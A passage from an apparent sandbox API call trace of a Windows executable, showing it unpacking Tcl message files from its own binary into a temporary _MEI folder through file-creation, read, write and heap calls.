out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.822] htonl (hostlong=0x36080000) returned 0x836 [0037.822] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x836) returned 0x55e278 [0037.822] htonl (hostlong=0x7d010000) returned 0x17d [0037.822] htonl (hostlong=0x36080000) returned 0x836 [0037.822] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.822] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.822] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.822] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.822] CloseHandle (hObject=0x10c) returned 1 [0037.822] GetLastError () returned 0x0 [0037.822] SetLastError (dwErrCode=0x0) [0037.822] GetLastError () returned 0x0 [0037.822] SetLastError (dwErrCode=0x0) [0037.822] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.822] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.822] GetFileType (hFile=0x10c) returned 0x1 [0037.822] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.822] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.823] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.823] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.823] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.823] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.823] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.823] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.823] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.823] CloseHandle (hObject=0x10c) returned 1 [0037.823] GetLastError () returned 0x0 [0037.823] SetLastError (dwErrCode=0x0) [0037.823] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.823] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.823] GetFileType (hFile=0x10c) returned 0x1 [0037.823] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.823] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.823] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.823] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.823] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.823] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.823] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.823] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.823] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.823] CloseHandle (hObject=0x10c) returned 1 [0037.823] GetLastError () returned 0x0 [0037.824] SetLastError (dwErrCode=0x0) [0037.824] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\te.msg") returned 61 [0037.824] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\te.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\te.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.824] GetLastError () returned 0x2 [0037.824] SetLastError (dwErrCode=0x2) [0037.824] GetLastError () returned 0x2 [0037.824] SetLastError (dwErrCode=0x2) [0037.824] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\te.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\te.msg", lpFilePart=0x0) returned 0x3c [0037.824] GetLastError () returned 0x2 [0037.824] SetLastError (dwErrCode=0x2) [0037.824] GetLastError () returned 0x2 [0037.824] SetLastError (dwErrCode=0x2) [0037.824] GetLastError () returned 0x2 [0037.824] SetLastError (dwErrCode=0x2) [0037.824] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\te.msg") returned 61 [0037.824] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.824] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\te.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\te.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.824] GetFileType (hFile=0x10c) returned 0x1 [0037.824] htonl (hostlong=0x36080000) returned 0x836 [0037.824] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.824] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x836, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x836, lpOverlapped=0x0) returned 1 [0037.828] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.828] CloseHandle (hObject=0x10c) returned 1 [0037.828] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0037.828] htonl (hostlong=0x30000000) returned 0x30 [0037.828] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.828] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.828] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.828] GetFileType (hFile=0x10c) returned 0x1 [0037.829] htonl (hostlong=0xbba45700) returned 0x57a4bb [0037.829] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c54bb, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.829] htonl (hostlong=0xcf000000) returned 0xcf [0037.829] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xcf) returned 0x546790 [0037.829] htonl (hostlong=0xcf000000) returned 0xcf [0037.829] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.829] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.829] htonl (hostlong=0x9b010000) returned 0x19b [0037.829] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x19b) returned 0x550600 [0037.829] htonl (hostlong=0xcf000000) returned 0xcf [0037.829] htonl (hostlong=0x9b010000) returned 0x19b [0037.829] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.829] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.829] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x546790 | out: hHeap=0x530000) returned 1 [0037.829] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.829] CloseHandle (hObject=0x10c) returned 1 [0037.829] GetLastError () returned 0x0 [0037.829] SetLastError (dwErrCode=0x0) [0037.830] GetLastError () returned 0x0 [0037.830] SetLastError (dwErrCode=0x0) [0037.830] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.830] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.830] GetFileType (hFile=0x10c) returned 0x1 [0037.830] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.830] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.830] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.830] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.830] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.830] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.830] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.830] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.830] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.830] CloseHandle (hObject=0x10c) returned 1 [0037.830] GetLastError () returned 0x0 [0037.830] SetLastError (dwErrCode=0x0) [0037.830] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.830] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.830] GetFileType (hFile=0x10c) returned 0x1 [0037.830] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.830] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.830] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.830] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.830] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.831] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.831] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.831] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.831] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.831] CloseHandle (hObject=0x10c) returned 1 [0037.831] GetLastError () returned 0x0 [0037.831] SetLastError (dwErrCode=0x0) [0037.831] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\te_in.msg") returned 64 [0037.831] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\te_in.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\te_in.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.831] GetLastError () returned 0x2 [0037.831] SetLastError (dwErrCode=0x2) [0037.831] GetLastError () returned 0x2 [0037.831] SetLastError (dwErrCode=0x2) [0037.831] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\te_in.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\te_in.msg", lpFilePart=0x0) returned 0x3f [0037.831] GetLastError () returned 0x2 [0037.831] SetLastError (dwErrCode=0x2) [0037.831] GetLastError () returned 0x2 [0037.831] SetLastError (dwErrCode=0x2) [0037.831] GetLastError () returned 0x2 [0037.831] SetLastError (dwErrCode=0x2) [0037.831] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\te_in.msg") returned 64 [0037.831] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.831] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\te_in.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\te_in.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.832] GetFileType (hFile=0x10c) returned 0x1 [0037.832] htonl (hostlong=0x9b010000) returned 0x19b [0037.832] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.832] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x19b, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x19b, lpOverlapped=0x0) returned 1 [0037.833] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.833] CloseHandle (hObject=0x10c) returned 1 [0037.833] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.833] htonl (hostlong=0x30000000) returned 0x30 [0037.833] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.833] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.833] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.834] GetFileType (hFile=0x10c) returned 0x1 [0037.834] htonl (hostlong=0x8aa55700) returned 0x57a58a [0037.834] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c558a, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.834] htonl (hostlong=0x1c020000) returned 0x21c [0037.834] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x21c) returned 0x550600 [0037.834] htonl (hostlong=0x1c020000) returned 0x21c [0037.834] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.834] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.834] htonl (hostlong=0x1090000) returned 0x901 [0037.834] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x901) returned 0x55e278 [0037.834] htonl (hostlong=0x1c020000) returned 0x21c [0037.834] htonl (hostlong=0x1090000) returned 0x901 [0037.834] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.834] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.834] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.834] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.834] CloseHandle (hObject=0x10c) returned 1 [0037.834] GetLastError () returned 0x0 [0037.834] SetLastError (dwErrCode=0x0) [0037.834] GetLastError () returned 0x0 [0037.834] SetLastError (dwErrCode=0x0) [0037.834] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.834] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.834] GetFileType (hFile=0x10c) returned 0x1 [0037.834] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.834] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.835] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.835] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.835] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.835] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.835] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.835] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.835] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.835] CloseHandle (hObject=0x10c) returned 1 [0037.835] GetLastError () returned 0x0 [0037.835] SetLastError (dwErrCode=0x0) [0037.835] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.835] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.835] GetFileType (hFile=0x10c) returned 0x1 [0037.835] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.835] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.835] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.835] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.835] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.835] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.835] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.835] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.835] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.835] CloseHandle (hObject=0x10c) returned 1 [0037.835] GetLastError () returned 0x0 [0037.836] SetLastError (dwErrCode=0x0) [0037.836] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\th.msg") returned 61 [0037.836] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\th.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\th.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.836] 